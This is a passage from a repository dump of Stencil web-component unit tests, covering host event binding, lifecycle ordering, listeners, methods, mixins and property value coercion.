});\n\n    expect(root).toEqualHtml(`\n      <cmp-a>\n        <div>\n          Hi, my name is Kim Doe.\n        </div>\n      </cmp-a>\n    `);\n  });\n\n  describe('event', () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @State() lastEvent: any;\n      render() {\n        return (\n          <Host\n            onClick={() => (this.lastEvent = 'onClick')}\n            on-Click={() => (this.lastEvent = 'on-Click')}\n            on-scroll={() => (this.lastEvent = 'on-scroll')}\n            onIonChange={() => (this.lastEvent = 'onIonChange')}\n            on-IonChange={() => (this.lastEvent = 'on-IonChange')}\n            on-ALLCAPS={() => (this.lastEvent = 'on-ALLCAPS')}\n          >\n            {this.lastEvent}\n          </Host>\n        );\n      }\n    }\n\n    it('click', async () => {\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n      root.dispatchEvent(new CustomEvent('click'));\n      await waitForChanges();\n      expect(root.textContent).toBe('onClick');\n    });\n\n    it('Click', async () => {\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n      root.dispatchEvent(new CustomEvent('Click'));\n      await waitForChanges();\n      expect(root.textContent).toBe('on-Click');\n    });\n\n    it('scroll', async () => {\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n      root.dispatchEvent(new CustomEvent('scroll'));\n      await waitForChanges();\n      expect(root.textContent).toBe('on-scroll');\n    });\n    it('ionChange', async () => {\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n      root.dispatchEvent(new CustomEvent('ionChange'));\n      await waitForChanges();\n      expect(root.textContent).toBe('onIonChange');\n    });\n    it('IonChange', async () => {\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n      root.dispatchEvent(new CustomEvent('IonChange'));\n      await waitForChanges();\n      expect(root.textContent).toBe('on-IonChange');\n    });\n    it('ALLCAPS', async () => {\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n      root.dispatchEvent(new CustomEvent('ALLCAPS'));\n      await waitForChanges();\n      expect(root.textContent).toBe('on-ALLCAPS');\n    });\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/lifecycle-async.spec.tsx",
    "content": "import { Component, Prop, Watch } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('lifecycle async', () => {\n  it('wait for componentWillLoad', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      componentWillLoad() {\n        return new Promise((resolve) => {\n          setTimeout(resolve);\n        });\n      }\n\n      render() {\n        return 'Loaded';\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root.textContent).toBe('Loaded');\n  });\n\n  it('fire lifecycle methods', async () => {\n    let log = '';\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() prop = 0;\n      @Watch('prop')\n      propDidChange() {\n        log += ' propDidChange';\n      }\n\n      connectedCallback() {\n        log += ' connectedCallback';\n      }\n\n      disconnectedCallback() {\n        log += ' disconnectedCallback';\n      }\n\n      componentWillLoad() {\n        return new Promise((resolve) => {\n          setTimeout(() => {\n            log += ' componentWillLoad';\n            resolve();\n          });\n        });\n      }\n\n      componentDidLoad() {\n        log += ' componentDidLoad';\n      }\n\n      componentWillUpdate() {\n        return new Promise((resolve) => {\n          setTimeout(() => {\n            log += ' componentWillUpdate';\n            resolve();\n          });\n        });\n      }\n\n      componentDidUpdate() {\n        log += ' componentDidUpdate';\n      }\n\n      componentWillRender() {\n        return new Promise((resolve) => {\n          setTimeout(() => {\n            log += ' componentWillRender';\n            resolve();\n          });\n        });\n      }\n\n      componentDidRender() {\n        log += ' componentDidRender';\n      }\n\n      render() {\n        log += ' render';\n        return log.trim();\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root.textContent).toBe('connectedCallback componentWillLoad componentWillRender render');\n    expect(log.trim()).toEqual(\n      'connectedCallback componentWillLoad componentWillRender render componentDidRender componentDidLoad',\n    );\n\n    log = '';\n    root.prop = 1;\n    await waitForChanges();\n\n    expect(log.trim()).toBe(\n      'propDidChange componentWillUpdate componentWillRender render componentDidRender componentDidUpdate',\n    );\n  });\n\n  it('windows emits event', async () => {\n    const mockEvent = jest.fn();\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      componentWillLoad() {\n        window.addEventListener('appload', (ev: CustomEvent) => mockEvent(ev.detail));\n      }\n\n      render() {\n        return 'Done';\n      }\n    }\n    await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n      includeAnnotations: true,\n    });\n\n    expect(mockEvent).toHaveBeenCalledTimes(1);\n    expect(mockEvent).toHaveBeenCalledWith({\n      namespace: 'app',\n    });\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/lifecycle-sync.spec.tsx",
    "content": "import { Component, Element, forceUpdate, h, Host, Method, Prop, Watch } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('lifecycle sync', () => {\n  it('should fire connected/disconnected when removed', async () => {\n    let connectedCallback = 0;\n    let disconnectedCallback = 0;\n\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      connectedCallback() {\n        connectedCallback++;\n      }\n      disconnectedCallback() {\n        disconnectedCallback++;\n      }\n    }\n\n    const { root, doc, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n    expect(connectedCallback).toBe(1);\n    expect(disconnectedCallback).toBe(0);\n\n    root.remove();\n    await waitForChanges();\n\n    expect(connectedCallback).toBe(1);\n    expect(disconnectedCallback).toBe(1);\n\n    doc.body.appendChild(root);\n    await waitForChanges();\n\n    expect(connectedCallback).toBe(2);\n    expect(disconnectedCallback).toBe(1);\n  });\n\n  it('should not fire connected/disconnected during recolocation', async () => {\n    let connectedCallback = 0;\n    let disconnectedCallback = 0;\n\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      connectedCallback() {\n        connectedCallback++;\n      }\n      disconnectedCallback() {\n        disconnectedCallback++;\n      }\n    }\n\n    @Component({ tag: 'cmp-b' })\n    class CmpB {\n      render() {\n        return (\n          <div>\n            <slot></slot>\n          </div>\n        );\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [CmpA, CmpB],\n      includeAnnotations: true,\n      html: `<cmp-b><cmp-a></cmp-a></cmp-b>`,\n    });\n    expect(root).toEqualHtml(`\n      <cmp-b class=\"hydrated\">\n        <!---->\n        <div>\n          <cmp-a class=\"hydrated\"></cmp-a>\n        </div>\n      </cmp-b>\n    `);\n\n    expect(connectedCallback).toBe(1);\n    expect(disconnectedCallback).toBe(0);\n  });\n\n  it('fire lifecycle methods', async () => {\n    let log = '';\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() prop = 0;\n      @Watch('prop')\n      propDidChange() {\n        log += ' propDidChange';\n      }\n\n      connectedCallback() {\n        log += ' connectedCallback';\n      }\n\n      disconnectedCallback() {\n        log += ' disconnectedCallback';\n      }\n\n      componentWillLoad() {\n        log += ' componentWillLoad';\n      }\n\n      componentDidLoad() {\n        log += ' componentDidLoad';\n      }\n\n      componentWillUpdate() {\n        log += ' componentWillUpdate';\n      }\n\n      componentDidUpdate() {\n        log += ' componentDidUpdate';\n      }\n\n      componentWillRender() {\n        log += ' componentWillRender';\n      }\n\n      componentDidRender() {\n        log += ' componentDidRender';\n      }\n\n      render() {\n        log += ' render';\n        return log.trim();\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root.textContent).toBe('connectedCallback componentWillLoad componentWillRender render');\n    expect(log.trim()).toEqual(\n      'connectedCallback componentWillLoad componentWillRender render componentDidRender componentDidLoad',\n    );\n\n    log = '';\n    root.prop = 1;\n    await waitForChanges();\n\n    expect(root.textContent).toBe('propDidChange componentWillUpdate componentWillRender render');\n\n    expect(log.trim()).toBe(\n      'propDidChange componentWillUpdate componentWillRender render componentDidRender componentDidUpdate',\n    );\n  });\n\n  it('implement deep equality', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      renders = 0;\n      @Prop() complex: any;\n\n      componentShouldUpdate(newValue: any, oldValue: any) {\n        try {\n          return JSON.stringify(newValue) !== JSON.stringify(oldValue);\n        } catch {}\n        return true;\n      }\n\n      render() {\n        this.renders++;\n      }\n    }\n\n    const { root, rootInstance, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      template: () => <cmp-a complexObject={[1, 2, 3]}></cmp-a>,\n    });\n\n    expect(rootInstance.renders).toBe(1);\n\n    root.complex = [3, 2, 1];\n    await waitForChanges();\n    expect(rootInstance.renders).toBe(2);\n\n    // Second does not trigger re-render\n    root.complex = [3, 2, 1];\n    await waitForChanges();\n    expect(rootInstance.renders).toBe(2);\n  });\n\n  describe('childrens', () => {\n    it('sync', async () => {\n      const log: string[] = [];\n      @Component({\n        tag: 'cmp-a',\n      })\n      class CmpA {\n        @Prop() prop: string;\n        componentWillLoad() {\n          log.push('componentWillLoad a');\n        }\n        componentDidLoad() {\n          log.push('componentDidLoad a');\n        }\n        componentWillUpdate() {\n          log.push('componentWillUpdate a');\n        }\n        componentDidUpdate() {\n          log.push('componentDidUpdate a');\n        }\n        render() {\n          return (\n            <Host>\n              <cmp-b id=\"b1\" prop={this.prop}>\n                <cmp-b id=\"b2\" prop={this.prop}>\n                  <cmp-b id=\"b3\" prop={this.prop}></cmp-b>\n                </cmp-b>\n              </cmp-b>\n            </Host>\n          );\n        }\n      }\n      @Component({\n        tag: 'cmp-b',\n      })\n      class CmpB {\n        @Element() el: HTMLElement;\n        @Prop() prop: string;\n        componentWillLoad() {\n          log.push(`componentWillLoad ${this.el.id}`);\n        }\n        componentDidLoad() {\n          log.push(`componentDidLoad ${this.el.id}`);\n        }\n        componentWillUpdate() {\n          log.push(`componentWillUpdate ${this.el.id}`);\n        }\n        componentDidUpdate() {\n          log.push(`componentDidUpdate ${this.el.id}`);\n        }\n      }\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA, CmpB],\n        template: () => <cmp-a></cmp-a>,\n      });\n      expect(log).toEqual([\n        'componentWillLoad a',\n        'componentWillLoad b1',\n        'componentWillLoad b2',\n        'componentWillLoad b3',\n        'componentDidLoad b3',\n        'componentDidLoad b2',\n        'componentDidLoad b1',\n        'componentDidLoad a',\n      ]);\n      log.length = 0;\n      forceUpdate(root);\n      await waitForChanges();\n      expect(log).toEqual(['componentWillUpdate a', 'componentDidUpdate a']);\n\n      log.length = 0;\n      root.prop = 'something else';\n      await waitForChanges();\n      expect(log).toEqual([\n        'componentWillUpdate a',\n        'componentWillUpdate b1',\n        'componentWillUpdate b2',\n        'componentWillUpdate b3',\n        'componentDidUpdate b3',\n        'componentDidUpdate b2',\n        'componentDidUpdate b1',\n        'componentDidUpdate a',\n      ]);\n    });\n  });\n\n  it('all state is available on \"will\" lifecycles', async () => {\n    @Component({ tag: 'cmp-child' })\n    class CmpChild {\n      @Prop() width = 0;\n      @Prop() height = 0;\n\n      componentWillLoad() {\n        expect(this.width).toEqual(100);\n        expect(this.height).toEqual(100);\n      }\n\n      componentWillUpdate() {\n        expect(this.width).toEqual(this.height);\n      }\n\n      componentWillRender() {\n        expect(this.width).toEqual(this.height);\n      }\n\n      render() {\n        return (\n          <Host>\n            {this.width}x{this.height}\n          </Host>\n        );\n      }\n    }\n\n    @Component({ tag: 'cmp-root' })\n    class CmpRoot {\n      @Prop({ mutable: true }) value = 100;\n      @Prop({ mutable: true }) value2 = 100;\n\n      @Method()\n      next() {\n        this.value *= 2;\n        this.value2 *= 2;\n      }\n\n      componentWillLoad() {\n        expect(this.value).toEqual(this.value2);\n      }\n\n      componentWillUpdate() {\n        expect(this.value).toEqual(this.value2);\n      }\n\n      componentWillRender() {\n        expect(this.value).toEqual(this.value2);\n      }\n\n      render() {\n        return <cmp-child width={this.value} height={this.value} />;\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpChild, CmpRoot],\n      template: () => <cmp-root></cmp-root>,\n    });\n    expect(root).toEqualHtml(`\n      <cmp-root>\n        <cmp-child>\n          100x100\n        </cmp-child>\n      </cmp-root>\n    `);\n    await root.next();\n    await waitForChanges();\n    expect(root).toEqualHtml(`\n      <cmp-root>\n        <cmp-child>\n          200x200\n        </cmp-child>\n      </cmp-root>\n    `);\n  });\n\n  it('call disconnectedCallback even if the element is immediately removed', async () => {\n    let connected = 0;\n    let disconnected = 0;\n\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      connectedCallback() {\n        connected++;\n      }\n\n      disconnectedCallback() {\n        disconnected++;\n      }\n\n      render() {\n        return <Host></Host>;\n      }\n    }\n\n    const { doc, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n    });\n\n    const a1 = doc.createElement('cmp-a');\n    doc.body.appendChild(a1);\n    a1.remove();\n\n    await waitForChanges();\n\n    expect(connected).toEqual(1);\n    expect(disconnected).toEqual(1);\n  });\n\n  it('calls disconnect and connect when an element is moved in the DOM', async () => {\n    let connected = 0;\n    let disconnected = 0;\n\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      connectedCallback() {\n        connected++;\n      }\n\n      disconnectedCallback() {\n        disconnected++;\n      }\n\n      render() {\n        return <Host></Host>;\n      }\n    }\n\n    const { doc, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n    });\n\n    const cmp = doc.createElement('cmp-a');\n    doc.body.appendChild(cmp);\n\n    await waitForChanges();\n\n    // Create a container we will move the component to\n    const container = doc.createElement('div');\n    doc.body.appendChild(container);\n\n    // Move the component\n    container.appendChild(cmp);\n\n    container.remove();\n\n    expect(connected).toEqual(2);\n    expect(disconnected).toEqual(2);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/listen.spec.tsx",
    "content": "import { Component, Event, EventEmitter, Listen, resolveVar, State } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('listen', () => {\n  it('listen to click on host, from elm.click()', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @State() clicks = 0;\n\n      @Listen('click')\n      buttonClick() {\n        this.clicks++;\n      }\n\n      render() {\n        return `${this.clicks}`;\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a>0</cmp-a>\n    `);\n\n    root.click();\n    await waitForChanges();\n\n    expect(root).toEqualHtml(`\n      <cmp-a>1</cmp-a>\n    `);\n\n    root.click();\n    await waitForChanges();\n\n    expect(root).toEqualHtml(`\n      <cmp-a>2</cmp-a>\n    `);\n  });\n\n  it('should listen from parent', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @State() selfClicks = 0;\n      @State() bodyClicks = 0;\n      @State() documentClicks = 0;\n      @State() windowClicks = 0;\n\n      @Listen('click')\n      onClick() {\n        this.selfClicks++;\n      }\n\n      @Listen('click', { target: 'body' })\n      onBodyClick() {\n        this.bodyClicks++;\n      }\n\n      @Listen('click', { target: 'document' })\n      onDocumentClick() {\n        this.documentClicks++;\n      }\n\n      @Listen('click', { target: 'window' })\n      onWindowClick() {\n        this.windowClicks++;\n      }\n\n      render() {\n        return `${this.selfClicks},${this.bodyClicks},${this.documentClicks},${this.windowClicks}`;\n      }\n    }\n\n    const { win, doc, body, root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<other><parent><cmp-a></cmp-a></parent></other>`,\n    });\n\n    const parent = doc.querySelector('parent') as any;\n    const other = doc.querySelector('other') as any;\n\n    expect(root).toEqualHtml(`\n      <cmp-a>0,0,0,0</cmp-a>\n    `);\n\n    root.click();\n    await waitForChanges();\n    expect(root).toEqualHtml(`\n      <cmp-a>1,1,1,1</cmp-a>\n    `);\n\n    parent.click();\n    await waitForChanges();\n    expect(root).toEqualHtml(`\n      <cmp-a>1,2,2,2</cmp-a>\n    `);\n\n    other.click();\n    await waitForChanges();\n    expect(root).toEqualHtml(`\n      <cmp-a>1,3,3,3</cmp-a>\n    `);\n\n    body.click();\n    await waitForChanges();\n    expect(root).toEqualHtml(`\n      <cmp-a>1,4,4,4</cmp-a>\n    `);\n\n    doc.dispatchEvent(new CustomEvent('click', { bubbles: true }));\n    await waitForChanges();\n    expect(root).toEqualHtml(`\n      <cmp-a>1,4,5,5</cmp-a>\n    `);\n\n    win.dispatchEvent(new CustomEvent('click', { bubbles: true }));\n    await waitForChanges();\n    expect(root).toEqualHtml(`\n      <cmp-a>1,4,5,6</cmp-a>\n    `);\n  });\n\n  it('listen before load', async () => {\n    let log = '';\n    let eventId = 0;\n    function getEventDetail() {\n      return `event${eventId++} `;\n    }\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      renderCount = 0;\n\n      @Event() event: EventEmitter;\n      @State() nuEvents = 0;\n\n      @Listen('event')\n      onEvent(ev: CustomEvent<string>) {\n        log += ev.detail;\n        this.nuEvents++;\n      }\n\n      connectedCallback() {\n        this.event.emit(getEventDetail());\n        log += 'connectedCallback ';\n        this.event.emit(getEventDetail());\n      }\n\n      componentWillLoad() {\n        this.event.emit(getEventDetail());\n        log += 'componentWillLoad ';\n        this.event.emit(getEventDetail());\n      }\n\n      componentDidLoad() {\n        // this.event.emit(getEventDetail());\n        log += 'componentDidLoad ';\n      }\n\n      render() {\n        this.renderCount++;\n        return `${this.renderCount} ${this.nuEvents}`;\n      }\n    }\n\n    const { doc, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: '',\n    });\n\n    const a = doc.createElement('cmp-a');\n    doc.body.appendChild(a);\n\n    a.dispatchEvent(\n      new CustomEvent('event', {\n        detail: getEventDetail(),\n      }),\n    );\n    a.dispatchEvent(\n      new CustomEvent('event', {\n        detail: getEventDetail(),\n      }),\n    );\n    a.dispatchEvent(\n      new CustomEvent('event', {\n        detail: getEventDetail(),\n      }),\n    );\n\n    await Promise.resolve();\n    expect(log).toEqual('');\n    expect(a).toEqualHtml(`<cmp-a></cmp-a>`);\n\n    await waitForChanges();\n    expect(log).toEqual(\n      `connectedCallback event0 event1 event2 event3 event4 event5 componentWillLoad event6 componentDidLoad `,\n    );\n    expect(a).toEqualHtml(`<cmp-a>1 7</cmp-a>`);\n    await waitForChanges();\n    expect(a).toEqualHtml(`<cmp-a>1 7</cmp-a>`);\n  });\n\n  it('disconnects target listeners when element is not connected to DOM', async () => {\n    let events = 0;\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Listen('testEvent', { target: 'document' })\n      buttonClick() {\n        events++;\n      }\n\n      render() {\n        return '';\n      }\n    }\n\n    const { doc, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n    });\n\n    jest.spyOn(doc, 'addEventListener');\n    jest.spyOn(doc, 'removeEventListener');\n\n    doc.createElement('cmp-a');\n    await waitForChanges();\n\n    // Event listener will never be called\n    expect(events).toEqual(0);\n\n    // no event listeners have been added as the element is not connected to the DOM\n    expect(doc.addEventListener.mock.calls.length).toBe(0);\n    expect(doc.removeEventListener.mock.calls.length).toBe(0);\n  });\n\n  describe('resolveVar', () => {\n    it('should listen to event with resolved const variable', async () => {\n      const MY_EVENT = 'myEvent';\n\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @State() clicks = 0;\n\n        @Listen(resolveVar(MY_EVENT))\n        onMyEvent() {\n          this.clicks++;\n        }\n\n        render() {\n          return `${this.clicks}`;\n        }\n      }\n\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-a>0</cmp-a>\n      `);\n\n      root.dispatchEvent(new CustomEvent('myEvent', { bubbles: true }));\n      await waitForChanges();\n\n      expect(root).toEqualHtml(`\n        <cmp-a>1</cmp-a>\n      `);\n    });\n\n    it('should listen to event with resolved object property', async () => {\n      const EVENTS = {\n        MY_EVENT: 'myEvent',\n      } as const;\n\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @State() clicks = 0;\n\n        @Listen(resolveVar(EVENTS.MY_EVENT))\n        onMyEvent() {\n          this.clicks++;\n        }\n\n        render() {\n          return `${this.clicks}`;\n        }\n      }\n\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-a>0</cmp-a>\n      `);\n\n      root.dispatchEvent(new CustomEvent('myEvent', { bubbles: true }));\n      await waitForChanges();\n\n      expect(root).toEqualHtml(`\n        <cmp-a>1</cmp-a>\n      `);\n    });\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/method.spec.tsx",
    "content": "import { Component, Method, State } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('method', () => {\n  it('call method', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @State() someState = 'default';\n\n      @Method()\n      async asyncMethod(val: string) {\n        this.someState = val;\n      }\n\n      @Method()\n      promiseMethod(val: string) {\n        return new Promise((resolve) => {\n          this.someState = val;\n          resolve();\n        });\n      }\n\n      render() {\n        return `${this.someState}`;\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a>default</cmp-a>\n    `);\n\n    await root.asyncMethod('async');\n\n    await waitForChanges();\n\n    expect(root.textContent).toBe('async');\n\n    await root.promiseMethod('promise');\n\n    await waitForChanges();\n\n    expect(root.textContent).toBe('promise');\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/mixin.spec.tsx",
    "content": "import { Component, Event, EventEmitter, h, MixedInCtor, Mixin, Prop, State } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('mixin', () => {\n  it('can call a constructor with args', async () => {\n    const MyMixin = <B extends MixedInCtor>(Base: B) => {\n      class Test extends Base {\n        constructor(...args: any[]) {\n          super(...args);\n        }\n\n        @State() test = 'testing!!';\n      }\n      return Test;\n    };\n\n    @Component({ tag: 'arg-test' })\n    class CmpA extends Mixin(MyMixin) {\n      @Prop() value: string;\n\n      render() {\n        return (\n          <code>\n            {this.value.trim()} {this.test}\n          </code>\n        );\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      html: `<arg-test value=\"#005a00\"></arg-test>`,\n    });\n\n    expect(root).not.toBeFalsy();\n  });\n\n  it('can initialize with a @Prop with an initial value', async () => {\n    const MyMixin = <B extends MixedInCtor>(Base: B) => {\n      class Test extends Base {\n        @Prop({ mutable: true }) testProp = 'ABC';\n      }\n      return Test;\n    };\n\n    @Component({\n      tag: 'mixin-test',\n    })\n    class MixinTest extends Mixin(MyMixin) {\n      render() {\n        return <code>{this.testProp}</code>;\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [MyMixin, MixinTest],\n      html: `<mixin-test></mixin-test>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <mixin-test>\n        <code>ABC</code>\n      </mixin-test>\n    `);\n  });\n\n  it('can initialize with an @Event', async () => {\n    const MyMixin = <B extends MixedInCtor>(Base: B) => {\n      class Test extends Base {\n        public emitTest() {\n          (this as any).test.emit();\n        }\n      }\n      return Test;\n    };\n\n    @Component({\n      tag: 'mixin-test',\n    })\n    class MixinTest extends Mixin(MyMixin) {\n      @Event() test: EventEmitter;\n\n      componentDidLoad() {\n        this.emitTest();\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [MixinTest],\n      html: `<mixin-test></mixin-test>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <mixin-test></mixin-test>\n    `);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/parse-property-value.spec.ts",
    "content": "import { MEMBER_FLAGS } from '../../utils';\nimport { parsePropertyValue } from '../parse-property-value';\n\ndescribe('parse-property-value', () => {\n  describe('parsePropertyValue', () => {\n    describe('boolean coercion', () => {\n      it('coerces the string \"false\" to boolean false', () => {\n        const result = parsePropertyValue('false', MEMBER_FLAGS.Boolean);\n        expect(result).toBe(false);\n      });\n\n      it('coerces the string \"False\" to boolean true', () => {\n        const result = parsePropertyValue('False', MEMBER_FLAGS.Boolean);\n        expect(result).toBe(true);\n      });\n\n      it('coerces an empty string to boolean true', () => {\n        const result = parsePropertyValue('', MEMBER_FLAGS.Boolean);\n        expect(result).toBe(true);\n      });\n\n      it('coerces the string \"true\" to boolean true', () => {\n        const result = parsePropertyValue('true', MEMBER_FLAGS.Boolean);\n        expect(result).toBe(true);\n      });\n\n      it('coerces the number 0 to boolean false', () => {\n        const result = parsePropertyValue(0, MEMBER_FLAGS.Boolean);\n        expect(result).toBe(false);\n      });\n\n      it('coerces the string \"0\" to boolean true', () => {\n        const result = parsePropertyValue('0', MEMBER_FLAGS.Boolean);\n        expect(result).toBe(true);\n      });\n\n      it('coerces the number 1 to boolean true', () => {\n        const result = parsePropertyValue(1, MEMBER_FLAGS.Boolean);\n        expect(result).toBe(true);\n      });\n\n      it('coerces the string \"1\" to boolean true', () => {\n        const result = parsePropertyValue('1', MEMBER_FLAGS.Boolean);\n        expect(result).toBe(true);\n      });\n\n      it('does not coerce null to boolean', () => {\n        const result = parsePropertyValue(null, MEMBER_FLAGS.Boolean);\n        expect(result).toBe(null);\n      });\n\n      it('coerces the string \"null\" to boolean true', () => {\n        const result = parsePropertyValue('null', MEMBER_FLAGS.Boolean);\n        expect(result).toBe(true);\n      });\n\n      it('does not coerce undefined to boolean', () => {\n        const result = parsePropertyValue(undefined, MEMBER_FLAGS.Boolean);\n        expect(result).toBe(undefined);\n      });\n\n      it('coerces the string \"undefined\" to boolean true', () => {\n        const result = parsePropertyValue('undefined', MEMBER_FLAGS.Boolean);\n        expect(result).toBe(true);\n      });\n\n      it('coerces NaN to boolean false', () => {\n        const result = parsePropertyValue(NaN, MEMBER_FLAGS.Boolean);\n        expect(result).toBe(false);\n      });\n\n      it('coerces the string \"NaN\" to boolean true', () => {\n        const result = parsePropertyValue('NaN', MEMBER_FLAGS.Boolean);\n        expect(result).toBe(true);\n      });\n\n      it('does not coerce a function to a boolean', () => {\n        const noOpFunction = () => false;\n        const result = parsePropertyValue(noOpFunction, MEMBER_FLAGS.Boolean);\n        expect(result).toBe(noOpFunction);\n      });\n    });\n\n    describe('number coercion', () => {\n      it('coerces a number value to a number', () => {\n        const result = parsePropertyValue(42, MEMBER_FLAGS.Number);\n        expect(result).toBe(42);\n      });\n\n      it('coerces a stringified value to a number', () => {\n        const result = parsePropertyValue('42', MEMBER_FLAGS.Number);\n        expect(result).toBe(42);\n      });\n\n      it('coerces a float value to a number', () => {\n        const result = parsePropertyValue('4.2', MEMBER_FLAGS.Number);\n        expect(result).toBe(4.2);\n      });\n\n      it('coerces a positive value to a number', () => {\n        const result = parsePropertyValue('+4.2', MEMBER_FLAGS.Number);\n        expect(result).toBe(4.2);\n      });\n\n      it('coerces a negative value to a number', () => {\n        const result = parsePropertyValue('-4.2', MEMBER_FLAGS.Number);\n        expect(result).toBe(-4.2);\n      });\n\n      it('coerces a stringified scientific value to a number', () => {\n        const result = parsePropertyValue('42e1', MEMBER_FLAGS.Number);\n        expect(result).toBe(420);\n      });\n\n      it('returns NaN when parsing a boolean', () => {\n        const result = parsePropertyValue(true, MEMBER_FLAGS.Number);\n        expect(result).toBe(NaN);\n      });\n\n      it('returns NaN when parsing a string', () => {\n        const result = parsePropertyValue('hello world', MEMBER_FLAGS.Number);\n        expect(result).toBe(NaN);\n      });\n\n      it('returns an object prop unchanged', () => {\n        const originalProp = { hello: 'world' };\n        const result = parsePropertyValue(originalProp, MEMBER_FLAGS.Number);\n        expect(result).toBe(originalProp);\n      });\n\n      it('returns an undefined prop unchanged', () => {\n        const result = parsePropertyValue(undefined, MEMBER_FLAGS.Number);\n        expect(result).toBe(undefined);\n      });\n\n      it('returns a null prop unchanged', () => {\n        const result = parsePropertyValue(null, MEMBER_FLAGS.Number);\n        expect(result).toBe(null);\n      });\n\n      it('returns NaN when NaN is received', () => {\n        const result = parsePropertyValue(NaN, MEMBER_FLAGS.Number);\n        expect(result).toBe(NaN);\n      });\n\n      it('does not coerce a function to a number', () => {\n        const noOpFunction = () => 23;\n        const result = parsePropertyValue(noOpFunction, MEMBER_FLAGS.Number);\n        expect(result).toBe(noOpFunction);\n      });\n    });\n\n    describe('string coercion', () => {\n      it('coerces a string to a string', () => {\n        const result = parsePropertyValue('hello world', MEMBER_FLAGS.String);\n        expect(result).toBe('hello world');\n      });\n\n      it('coerces an empty string to a string', () => {\n        const result = parsePropertyValue('', MEMBER_FLAGS.String);\n        expect(result).toBe('');\n      });\n\n      it('coerces the string \"false\" to string \"false\"', () => {\n        const result = parsePropertyValue('false', MEMBER_FLAGS.String);\n        expect(result).toBe('false');\n      });\n\n      it('coerces the string \"False\" to string \"False\"', () => {\n        const result = parsePropertyValue('False', MEMBER_FLAGS.String);\n        expect(result).toBe('False');\n      });\n\n      it('coerces the string \"true\" to string \"true\"', () => {\n        const result = parsePropertyValue('true', MEMBER_FLAGS.String);\n        expect(result).toBe('true');\n      });\n\n      it('coerces the number 0 to string \"0\"', () => {\n        const result = parsePropertyValue(0, MEMBER_FLAGS.String);\n        expect(result).toBe('0');\n      });\n\n      it('coerces the string \"0\" to string 